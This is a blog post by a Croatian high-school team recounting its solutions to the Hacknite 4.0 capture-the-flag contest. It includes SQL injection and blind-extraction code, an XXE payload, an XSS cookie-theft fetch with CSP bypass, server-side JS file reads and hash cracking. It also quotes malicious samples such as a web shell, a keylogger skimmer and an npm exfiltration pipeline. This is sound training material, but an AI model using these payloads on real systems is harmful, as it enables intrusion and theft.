Hacknite 4.0

This year we participated in Hacknite 4.0 CTF (Capture The Flag) competition. After 48 hours of solving problems, we managed to win the first place. Since it was definitely one of the best competitions we participated in, we decided to share our impressions and solutions for all tasks, here on our blog.

About Hacknite

For those of you who never heard about it. Hacknite is a two-day capture-the-flag competition intended for high school students in Croatia. Anyone with the email on skole.hr domain is allowed to participate. It is hosted by CARNET (Croatian Academic Research Network) and FER and is a qualification for the European Cybersecurity Challenge. Teams consist of up to five members from any school in Croatia. Hacknite is meant to increase awareness of cybersecurity importance today, by participating in students practicing teamwork and learning about security flaws in a few different fields of cybersecurity.


This way we want to give special thanks to Oliver Stanković, also known as Zombieschannel, for joining us on this year’s Hacknite. Without him, we definitely couldn’t accomplish what we have.


There were nine tasks about web in total. For some of us, this was one of the most interesting categories. Some tasks were a bit challenging, the first and last tasks we solved were from this category, if we don’t count Pravila.

Izlet – 40 points

This is the easiest task in the web category, so the solution is also pretty simple. We were given the URL registration page with a single HTML form in it. Once we opened the inspect element, inside the registration form we found the input field like this one:

<input type="hidden" id="role" name="admin" value="no">

We changed the value of the field to yes, pressed the submit button and we were presented with the flag.


Kemijske reakcije – 45 points

In this task we were presented with react website. Website displayed a single message stating that registration to this forum will soon be open and the text of the task said that some features of application are hidden. After opening inspect element, we found out that application includes two JS files. While browsing file main.2cb89abf.chunk.js we found the following line.


After one HTTP GET request to the URL we found, application returned the flag.


Baza svemirskih utakmica – 50 points

This task required a lot of trial and error. We decided to try SQL injection first which was the correct choice.

Our first breakthrough was when we managed to select the whole table using 1' OR '1'='1. Then we realized that our input was put between two [ ‘ ] symbols. Next, we managed to get the names of all tables inside a database using.

1' UNION SELECT table_name,null,null FROM information_schema.tables WHERE '1' ='1

After doing this we realized that there was a table named secret_table. Then we just selected the contents of secret_table with following.

1' UNION SELECT *,null FROM secret_table WHERE '1'='1


Kalkulator – 55 points

Although the solution to this task was not too hard to get, it was really cool to play with this task. We were presented with the URL to the online calculator. Also, there was a hint that the calculator could do something else but simple math calculations. After playing with it for some time we figured we could also add strings “a” + “b” and compare values like 11 == 12 which returned true or false. Then we entered the following expression.

`Hello this is number ${12}`

Since this worked as expected, we figured the server was executing input as JS code. Since we assumed this is a NodeJS service executing the code, we tried to execute the following code to get a list of files in the working directory, you need to enter it line by line into the calculator input field.

// Include fs module
fs = require('fs')

// Get list of all files

The output was


It was not hard to guess that the flag was contained within flag.txt file, so we printed the content.

fs.readFileSync(__dirname + '/flag.txt')

And we got the flag.


Virtualni host – 70 points

We were not able to solve this one at first, but after we played with telnet for a bit we managed to find the solution. When Peter configured his Apache virtual host with /var/www/http/app as DocumentRoot, he did not disable the default apache2 “It works” page and its virtual host. This page and virtual host are created when you install Apache for the first time. Luckily for us, /var/www/http is the document root of the default virtual host. So from the given docker file you can find out that the flag is stored in file /var/www/http/secret, now all you need to do is dig the IP address of the server and access it directly without the domain name on path /secret. Since there is no other virtual host to handle this request, the default virtual host will do so. You can do this using the following commands.

$ dig chal.platforma.hacknite.hr

; <<>> DiG 9.19.17-1-Debian <<>> chal.platforma.hacknite.hr
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50560
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

; EDNS: version: 0, flags:; udp: 1232
;chal.platforma.hacknite.hr.	IN	A

chal.platforma.hacknite.hr. 60	IN	A

;; Query time: 11 msec
;; WHEN: Mon Oct 30 18:25:48 CET 2023
;; MSG SIZE  rcvd: 71

$ curl


And you got yourself the flag.


Hosting – 100 points

Now this one requires a bit of knowledge about Apache. We were presented with a URL for Stipe’s blog hosting service. When you access blogs hosted on this website, you will see that the view.php PHP script just reads the content of the file specified using the file query parameter. This allows you to see the content of any file on the system if the user www-data has permission to read it. You will also see that you need to authenticate in order to access the admin area of the website on the path /admin.

So what you need to do is read the contents of the .htaccess file in /admin directory of the site, you can do that with an HTTP request to the following URL:


Content of .htaccess file will be presented to you among other codes of the website.

AuthType Basic
AuthName "Autentifikacija potrebna"
# (Following line optional)
AuthBasicProvider file
AuthUserFile "/var/www/html/admin/.htpasswd"
Require user admin.stipe
Options +Indexes

From this file you can read that .htpasswd file in the same directory is used for authentication. Once again you make an HTTP request to get the content of .htpasswd file.


Here you can see that the admin username is admin.stipe and now all you need to do is crack the given hash to get the password. For this task, we will use John the ripper.

$ echo '$apr1$bdC7PR4U$feee.9QW6JAMTI5a6hX9r1' > hashes.txt
$ john --show hashes.txt


1 password hash cracked, 0 left

So the password is soccer1. And that’s it, all you need to do now is log in using your favorite browser (Firefox). After you log in successfully, apache will display files inside /admin directory, only one file named re123e23rdfj2asd.txt will be displayed, click on this file and the flag will be in front of you.


Shopping košarica – 150 points

We were given the URL to the shopping cart website and info that flag is stored in the file /opt/flag.txt. The site allows you to select items from the list and add them to the cart, then you can export them to an XML file. You can also upload an XML file and refill your cart with items in it. In this task, you want to use XML external entity injection. Upload the file with the following content.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///opt/flag.txt"> ]>


Then open the inspect element, in the head part of the HTML document you will find a script tag with the following content.

    var cartItemsJSScString = "Miš,Tipkovnica,Miš,CTF2023[313784684540] ,USB";
    var cartItemsJSSc = cartItemsJSScString.split(",");;  
    var jsonData = JSON.stringify(cartItemsJSSc);
    localStorage.setItem("cartItems", jsonData);
    //localStorage.setItem("cartItems", cartItemsJSSc);

And there it is, the flag.


Banka – 300 points

This was one of the tasks we didn’t manage to solve in the given 48 hours. But we were really close to doing so. Since nobody solved this task by the last 4 hours, they gave us a hint by giving us the bank source code. Once we took a look at the source code, we found out they use the sha256 algorithm to hash passwords, and after some thinking and a few Google searches, we got an idea of how to exploit the bank’s reset password page. This page contains a single HTML form in which you can enter your username. If a username exists in the database site will print the message.

Pozdrav, sara, reset lozinke mailom još nije dostupan. Lozinku možete resetirati u jednoj od naših poslovnica

Otherwise, it just returns an error, stating that the given username doesn’t exist. Since the character in the task was named Sara, we tried the username Sara and it worked. So, we also noticed that this form is vulnerable to SQL injection because if you type the following in it

' OR 1=1 -- -

it returns a normal greeting message. This allows you to use so-called blind SQL injection to guess the password hash of the user Sara character by character. Following the NodeJS script will get you the password hash for the user sara.

const http = require('http');

// All characters that sha256 hash consists of
const charset = "0123456789abcdef";

// Check if letter on index in password hash is given character
const checkLetter = (index, character) => {

    const url = `http://chal.platforma.hacknite.hr:12009/reset.php?username=sara%27+AND+substr(password%2C+${index}%2C+1)+%3D+%27${character}%27+--+-`;

    return new Promise((resolve, reject) => {
        http.get(url, (res) => {
            let data = '';

            res.on('data', (chunk) => {
                data += chunk;

            res.on('end', () => {
                // If response contains word "Pozdrav" this is the right
                // letter for this index
                if (/Pozdrav/.test(data))
        }).on('error', (err) => {
            reject(new Error(err));

// Find hash for username sara
const findHash = async () => {

    let hash = '';
    let i, j;

    // For each character of 64 characters in sha256 hash
    for (i = 1; i <= 64; i++) {
        // Check if any of characters in the charset match
        for (j = 0; j < charset.length; j++) {
            const res = await checkLetter(i, charset[j]);

            if (res) {
                hash += charset[j];
                console.log(`Found letter ${charset[j]} on index ${i}`);
        // If none of the characters match something is wrong
        if (j == charset.length) {
            console.log('Failed to find letter at index ' + i);
    // Print hash
    console.log(`Found hash: ${hash}`);


We are basically checking each digit of the hash for each possible character. The following will check if the first digit of the hash is character ‘0’.

sara' AND substr(password, 1, 1) = '0' -- -

When you run this script it will give you the hash.

Found hash: d4120d4f638a4bdd0f397e975b71b117583f4fdb35c60aeb5416fa922651a465

Now if you paste this hash into CrackStation website, it will give you the password for user sara.

When you try to log in it will redirect you to the 2fa.php file, just ignore this and go back to / path without pressing the button on that page. Go to the admin portal and there it is, your flag.


Helpdesk – 400 points

This is the task with the highest number of points that ever appeared on the Hacknite competition. We managed to solve it in the last 4 hours when we got the hint for it. The hint was “Istražite ranjivost CVE-2023-1434”, after some digging over the internet, we managed to find the solution. Before doing anything you will need to install Burp Suite Community Edition (or any other edition if you want to pay for it). Without this tool, it would be really painful to solve this task.

So the task actually consists of a help desk website, where you can create an account, and then when you log in, you can submit a description and screenshot of your problem. Only PNG and JPG files are allowed. Once you submit, after a minute or so, your request is marked as seen. This implies some kind of XSS exploit. But how can we do that if we can upload only files with the .png extension? The solution is to upload a file named .png. This way since the file has no extension, when serving it apache will set the Content-Type header to text/html, which means that if someone opens this file in the web browser, it will be interpreted as HTML.

Good but there is still one more problem, you cannot simply put JS inside the script tag, because the CSP header is set by the server.

Content-Security-Policy: script-src 'self';

This means that the web browser will refuse to load any JS but the one that comes from the server serving this site. Including JS placed in script tags within HTML documents. Now to overcome this we will need to create two accounts on this site, one to store the JS script, and one to store the HTML which will then load the script from the first account using the src attribute of the script tag. Let’s call the first account brownbird_script and the second one brownbird_html.

First, you need to create one request basket, if you are solving this task on platforma.hacknite.hr, you must use the baskets they provided, otherwise, this will not work.

Now create a file named .png, with the following content, but replace our baskets link with yours.

fetch('http://requestbaskets.platforma.hacknite.hr' + '?' + document.cookie, {mode: 'no-cors'});

Then register user brownbird_script, log in, and upload the file. You must then copy the URL of the file, ours was.


Now create another file again named .png, but replace our link with the one you saved earlier.

<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="/uploads/2a03171c1b7ca36c965366fea37ff9d1ec3912b93ac72a62d1bad1ceb9e4b58d/.png"></script>

Replace the value of your PHPSESSION cookie with something else, for example, BBT. Now register a new user named brownbird_html, log in, and submit a new .png file. Wait for a minute and check your request basket. There you will find your flag. As anticipated, the flag was stored in the browser cookies of the person (bot) checking submitted support requests.

If you decode the content of the given URL you will get the following.


Binary exploitation

For those of you who don’t know, in the binary exploitation category, you will usually get a compiled program that takes some input values. You need to find the bug in the program that allows you to get the program to act differently than it should. This is done by entering unexpected input values and causing memory corruption.

Kupon – 100 points

This one was quite a “trial and error” task. You get a C program that has a vulnerability near the end as printf(input); As you can see there are no “%s” therefore we can add our own through the scanf. In this case, %c was used as it can read data from the stack – the flag that was loaded earlier. It took an hour of just guessing, analyzing memory, and seeing what came up until the correct combination was found. After pasting hexadecimal data into a hex editor and reading it out, we get this:


And that’s our flag.


Prefiks – 200 points

The task has a C program that can be run on Linux. It asks for the name, email, country ID, and a phone number. There are 197 countries in total, so the “valid” country IDs are up to 197.

However there are no checks whether or not the country ID entered is in that range, so the solution is to set the country ID to something out of bounds.

printf("Country id: ");
scanf("%d", &(new_profile->country_id));
new_profile->country_id -= 1;

Number 205 together with a phone number that has 10 characters worked and the flag was printed out.



These tasks are usually system-oriented tasks. For example, analyzing files in a hex editor or finding secret data within files.

Bitflip – 60 points

The task has a Linux program that doesn’t work (for some reason, I wonder if the name of the task has anything to do with it). We opened the file in a hex editor and compared it to a Linux program that actually works. There are a lot of differences and without even knowing which bytes do what, there was a suspicious byte at offset 12 0xFF, which it turns out just needed to be changed to 0x3E. The program ran successfully after that.


U potrazi za ljuskom – 90 points

This one is really simple. We were given the backup of the compromised Joomla blog and Apache access.log file. We needed to find the backdoor in the given backup. Since there is a word shell in the name of the task, we can guess backdoor is some kind of web shell in PHP. Since this is a web shell it’s likely using a PHP system() call. So, you can fully ignore the access log and just extract the blog backup and cd into the extracted blog directory. Now use grep to search for the string “system(” in all blog files.

$ grep -r "system(" .
./images/dinosaur-7936990.svg:			system($cmd);


The first result of the search is the dot svg file. It’s kind of weird to have such a string in an image. When you open this file in less, and search using /system, you will find the following.

        $headers = getallheaders();
        $pwd = $headers["pwd"];
        $cmd = $headers["cmd"];

Now you can take a given hexadecimal string and convert it to ASCII using this site. And that is the flag.


Magecart – 90 points

We were provided with a link to a website that contains a backdoor. When we opened the console we noticed that there was an error in the file bootsrap.js. Analyzing the file we noticed that there was a function executing JS code stored inside the favicon.ico file.

function checkFavicon(path, callback) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState == 4) {
            // The request is done; did it work?
            if (xhr.status == 200) {
                // ***Yes, use `xhr.responseText` here***
            } else {
                // ***No, tell the callback the call failed***
    xhr.open("GET", path);

function handleFileData(fileData) {
    if (!fileData) {
        // Show error
    console.log("No favicon present :(");


So we decided to download it using curl.

$ curl http://chal.platforma.hacknite.hr:12011/favicon.ico > favicon.js

The downloaded file contained obfuscated javascript code. We used https://obf-io.deobfuscate.io/ to deobfuscate the code. Then we were able to read the flag.

window.setInterval(function () {
  if (keys.length > 0x0) {
    keys = encryptStringWithXORtoHex(keys, "CTF2023[607332953413]");
    new Image().src = "" + keys;
    keys = '';
}, 0x1388);


Tavan – 100 points

This task gives us a disk image. So, we mounted this disk and there were 5 images on the disk. A dog, a butterfly, keys, a moon, and a tiger. These didn’t lead anywhere so we decided to check if there are any deleted files. There were 2 deleted files: sifriranje_diska.pdf and tajna.vc. The PDF wasn’t anything special since we found a copy online, but for a while we had no idea what to do with the other file. Eventually, we figured out that in the pdf there is a program called Vera Crypt and that is a program that works with these .vc files. We tried to decrypt the file, but a password was needed. After a lot of trial and error, it seems like the solution was to use the picture of keys from the beginning. After decrypting we found the flag in a text file.


Memorija – 100 points

The task gives you a 2GB “. raw” file. While that was downloading, we asked ChatGPT for a recommendation on which program should we use. It recommended Volatility and Rekall. We ended up using Volatility Workbench.

After testing many different Volatility Commands, we found one that seemed to crash the program and therefore seemed suspicious. “windows.cmdline.CmdLine

Since the program crashed, we couldn’t see what it printed out. So we found out the exact command it was running, and we ran it ourselves in cmd.

"C:\Users\cutel\Downloads\VolatilityWorkbench\vol.exe" -f "C:\Users\cutel\Downloads\win10.raw\win10.raw" windows.cmdline.CmdLine

As a result, we got many processes and their arguments. There was one that specifically stood out. It was powershell.exe and a bunch of base64 encoded text.

After decoding it, we got the following:

Without even analyzing what this code does, we noticed another piece of base64 encoded text. After decoding it we got everything we needed for the flag.


MITM – 300 points

Once you know the solution, you will be able to solve this task in a few minutes. So what we got was an ova file containing a VirtualBox virtual machine, this machine is an image of the Mikrotik router OS from the infected router. Our goal is to find an IP address and port, where malware from the router is connecting to. Then when you remove dots and columns between numbers of the IP address and port you will get the flag. So first we tried to watch network traffic during the router startup, but we found nothing. Then we tried to browse all folders on the router again nothing. After many more failed attempts, we finally decided to try to connect to the web interface of the router. To do this you need to set VM’s network adapter to Host-only adapter. This network adapter must also have an active DHCP server. Then restart the router and enter the following commands.

[admin@RouterOS] > ip
[admin@RouterOS] /ip> address
[admin@RouterOS] /ip address> print

Flags: X - disabled, I - invalid, D - dynamic
 #   ADDRESS            NETWORK         INTERFACE
 0 D    ether1

As you can see this will print the current IP address of the router. In our case router got the address over DHCP. Now go to your favorite browser (Firefox), and type this IP address into the address field (you may need to disable the https only setting for this to work). Once you press enter you will see the text

Prije nastavka morate instalirati update!

and you will be prompted to download the file update.zip. Once you extract the content of this zip file, you will find a binary file named update inside. Open this file in a hex editor and scroll to the address 0x2018, where you will find the following text.


Convert these numbers into a flag, like it’s mentioned in the text of the task.

CTF2023[] => CTF2023[19851100248000]

And that would be our flag.


Reverzno inžinjerstvo

Tasks in this category are as the name says: reverse engineering. Tasks might require analyzing programs using a decompiler, or analyzing malware, sometimes even brute force.

Tajni kod – 40 points

So the task is simple: you need to authenticate using Ivan’s 4 favorite numbers. Of course, they don’t tell you what these numbers are. So that is why we opened the program in a hex editor to see if we can cheat somehow. And there was some interesting stuff there. Like: “Flag je CTF2023[%d%d%d%d]”. After that not being a success, we eventually found a program IDA Freeware and after opening and analyzing the exe we found these 4 lines:

mov     [rbp+var_20], 2BCh
mov     [rbp+var_1C], 252h
mov     [rbp+var_18], 3ACh
mov     [rbp+var_14], 1D5h

Since there are 4 numbers, these 4 lines seemed quite important. After converting from hex to decimal we get: 700, 594, 940, and 469. And that was a success.


Graf – 50 points

Once you give up on trying to reverse engineer it and just use brute force, this is really a simple task. So, we were given a Python code used to encode the flag and graph image produced by running the code. First, we tried to reverse the code, once we were really close to doing so, we realized how easy it is to brute force the solution. So to do this, first create a Python array and write all coordinates from the graph into an array. Starting from point zero, write first Y and then X coordinate, repeat this for each point in the graph. You should get something like this.

nums = [ 185, 47, 83, 147, 817, 4, 602, 123, 389, 323, 735, 844 ]

Now all you need to do is copy part of the code from crypt.py the file and change it to guess each digit of the flag.

import math

nums = [ 185, 47, 83, 147, 817, 4, 602, 123, 389, 323, 735, 844 ]

e = str(math.e).split(".")[1]
pi = str(math.pi).split(".")[1]

flag = ''

for i in range(0, 12):
    if i % 2 == 0:
        for j in range(0, 10):
            n = int((math.cos(ord(str(j)))+int(pi[i]))*100)
            if n == nums[i]:
                flag += str(j)
        for j in range(0, 10):
            n = int((math.sin(ord(str(j)))+int(e[i]))*100)
            if n == nums[i]:
                flag += str(j)

print('CTF2023[' + flag + ']')

Run the modified code and you will get the flag.


PHP Obfuskacija – 70 points

In this task, we got some obfuscated PHP code. About the solution, there is not much to say, while you could probably find some online PHP deobfuscator, we decided to deobfuscate this one manually. So we basically removed all useless whitespaces and tried to give variables some meaningful names. Then we found base64 encoded string inside this code, when we decoded it we found more PHP code. Then again we removed whitespaces, formatted code to make some sense, and found another base64 encoded string. When we decoded it we found, guess what, more PHP code. But this time there was this interesting string in it.

if($_GET["flag"] === "CTF2023[267000589263]"){
        echo "Bravo!";

And there it is, we finally found the flag.


npm – 100 points

In this task character was a victim of social engineering, attacker convinced him to install the npm package. When our victim, started this package it stole some important information from the victim’s computer. Our job was to find out what had been stolen. We were given the capture of network traffic during the attack and a zip file containing files of an npm package. When we took a look over the package files, the one we found interesting was the .npmrc file. The last line of the file was.


When we opened this link in our favorite web browser (Firefox). We found only a single package named date-format-verifier. So we downloaded the tgz file for this package. Inside there was the following list of files.

total 1432
drwxr-xr-x  2 roko roko    4096 Oct 31 22:49 .
drwx------ 10 roko roko   12288 Nov  1 20:41 ..
-rw-r--r--  1 roko roko     429 Oct 26  1985 cleanup.js
-rw-r--r--  1 roko roko     230 Oct 26  1985 exif.py
-rw-r--r--  1 roko roko       0 Oct 31 22:49 f.enc
-rw-r--r--  1 roko roko      31 Oct 26  1985 index.js
-rw-r--r--  1 roko roko 1431386 Oct 26  1985 moon.tif
-rw-r--r--  1 roko roko     254 Oct 26  1985 package.json

So when you run npm postinstall command it will start the cleanup.js script. This script will execute a shell command to find file flag.txt in the /opt directory, then it will encrypt the contents of this file using OpenSSL, store it in the file f.enc, and run exif.py to add base64 encoded contents of file f.enc as UserComment field in the metadata of an image moon.tif. In the end, cleanup.js will send this image to remote API using HTTP and it will delete most of the files. All this is done using the following pipeline.

find /opt -type f -name flag.txt|xargs cat|openssl aes-256-cbc --pass pass:u89o1axbjwADhx873 --out f.enc; python3 exif.py; curl  -X POST  -i  -F \"image=@moon.tif\"; rm f.enc; rm exif.py; rm cleanup.js

So to reverse this, first we need to find the HTTP API request to which the image has been sent. Open the given capture file using WireShark and type HTTP in the filter field. POST request to /upload_image is the one we seek. Extract image data from this request into the file moon.tif. Then you can cd into the directory where you extracted the image and use the following pipeline to extract and decrypt stolen data.

$ exiftool -UserComment -s3 moon.tif | base64 --decode | openssl aes-256-cbc -d --pass pass:u89o1axbjwADhx873

*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

And there it is, our flag.


Maldoc – 120 points

We get 2 files: one containing an encrypted flag, and a Word file. From the text of the task, we noticed that there was likely some malware in the Word file, so we used VirusTotal to see what was going on. We found this website: https://platforma.hacknite.hr/follina-exploit. After visiting it, and seeing that nothing was there, we searched the source code. This script seemed suspicious:

After base64 decoding we got another base64 string being run in Powershell:

And after decoding once more we got the following code:

Analyzing the code, we found that it seems to be using XOR, so we ran this script in Powershell itself (after renaming flag.hacknite2023.encrypted to flag.hacknite2023) and it converted the encrypted file back to its original form.


Tajni kod 2 – 250 points

This one is simple. After solving Tajni kod 1 we noticed that Ivan’s 4 favourite numbers are in range from 0 to 1000. And so just for fun (even though we knew any of these numbers could be 32-bit integers), we made a brute force program that checks the first 1000 numbers. And it seems like the best solution to a problem is usually the easiest one since numbers 183 283 871, and 109 are the correct answers and we got the flag.



These tasks usually require analysis and collection of data that is publicly available or legally accessible.

OPSEC – 200 points

We were provided with a Bitcoin wallet address. We used blockchain.com to track transactions made by this account. We noticed that this wallet sent Bitcoin to 2 other wallets. After googling the wallets we found that one of the wallets was linked to a GitHub account on keybase.io.

On the linked GitHub account we noticed a repository named test. In one of the commits the author removed a .py file so we decided to download it, after opening the file in Notepad ++ we noticed the name Dalibor Zastavic


Everything after that was easy. We searched dalivor-zastavic on GitHub and then found a repository that had the flag encoded in Base64.

We decoded it using the Base64 decoder and received the flag.


For these tasks, you’ll need to know about hashing (MD5, SHA256), encrypting, and encoding (base64). You can expect anything from decrypting files many times to using known flaws in hashing algorithms to your advantage.

Qwertz Cezar – 50 points

In this task, we received an encrypted text. Looking at the title we saw that Caeser is mentioned which indicated to us that we need to decrypt a Caesar cipher. The title also included Qwertz which are the first letters of Croatian keyboard layout. So we used this website to decrypt the message. We put qwertzuiopšđasdfghjklčćžyxcvbnm as an alphabet and then we brute forced all of the possible shifts until we god a readable output. On shift 28 we receaved the message which spelled the flag in Croatian.


Logički sklopovi – 100 points

In this task, we were given a database encrypted using XOR. The key it is encrypted with is randomly generated – 8 random characters. Every first letter was XOR’d with the same number, every second letter was XOR’d with a different number, and so on. Since ASCII has up to 255 characters, there were 255 possible numbers this could be XOR’d with. Luckily for us, there are 135 different entries in the database so we could just test all of them and see which ones make sense. With the help of a C++ program that XORs every entry and checks if the result is between ‘A’ and ‘Z’ or ‘a’ and ‘z’ (since names usually have only letters), we found only a few numbers that could work. After we figured out the first character, the rest was done quite quickly, since if you know the first few characters, you can quite easily guess what the names should be and which of these 255 numbers is the correct one. And after we found out what the key was (148, 61, 58, 108, 57, 182, 120, 213), we easily decrypted the passwords and got the flag.


Digitalni potpis – 200 points

We couldn’t figure this one out until we were given a hint. The program generates a special file using a secret word and an older hashing algorithm. The flag is stored on a server, and we need to pass the validity check – on the server, there is a program that checks if the text in a file we upload + a secret word – hashed – is equal to a hash we have. The main goal is to add “can_read_flag” to the end of the file but of course then the hash changes. There is no way we could figure out what the secret word is, but we did know how many characters it has, and we had an example of a file that works properly. With this information, we could perform a length extension attack which allows us to add extra characters and still calculate the final hash correctly. This way we could pass the validity check and get the flag. The program we used is here.



In this category tasks don’t have much in common, they can require something that isn’t manually possible. Therefore you might need to create scripts or use online tools.

Pravila – 10 points

This was the easiest task of all. It reminds competitors to read the rules where they will find an example of the flag. An example for this year was CTF2023[110942960738]

AHCTPAC – 80 points

This one was one of our favorites, but there were several issues with this task working locally great and just simply not working on their servers. So 100 times, you’ll get a random word and a random digit, and the goal is to find for which number added to a word the end hash has first and last digit the digit you were given. Like this:

hashed (word + number) = digit[middle of a hash]digit.
Example word: eiusmod, 
digit = 2 -> answer = 53 -> hash = 2dffdf2814cda5101f49364bbe8036aca8070d504015555ef34ba605e964f7a2

And you have to do this same process 100 times in 90 seconds. The way we solved this one is quite complex. When communicating with the server, we redirect its output to a file, and then we have a C++ program that reads this file, finds the word and the digit, calculates the answer, copies it to the clipboard, and then simulates a right-click that will paste the result. After that is done, it will again search the file for a new task, calculate that one, and so on. It finished in around 15 seconds and we got the flag.



Tasks in this category usually give you a file that seems normal but contains a secret message in it. Our goal is to extract this message 🙂

Screenshot – 40 points

We downloaded an image that had a password crossed out with a marker. We used Aperi’Solve to apply filters until we could read the password.




Dokument – 50 points

We downloaded an odt file that contained a couple of images. One of the images showed the flag, but it was cropped. Using a crop tool in Word we were able to view the whole image.



Sumnjivi logo – 60 points

We were provided with a JPEG image. We uploaded it to the Aperi’Solve which has an option to download a binwalk of the file. While we were analyzing the binwalk we found 2 files. Inside file1.txt was the first part of the flag and in file2.txt was the second part of the flag.


Final thoughts

In the end, we managed to solve 31 of 34 tasks. We also solved Banka, 10 minutes after the competition ended, so the Twister and Rudarenje were the only tasks we didn’t solve at all. If you find mistakes of any kind in this post, feel free to contact us.

You can click on the link below to download the official solutions that were given to us later.

The link is temporarily disabled until we get permission to publish official solutions from Hacknite organizers.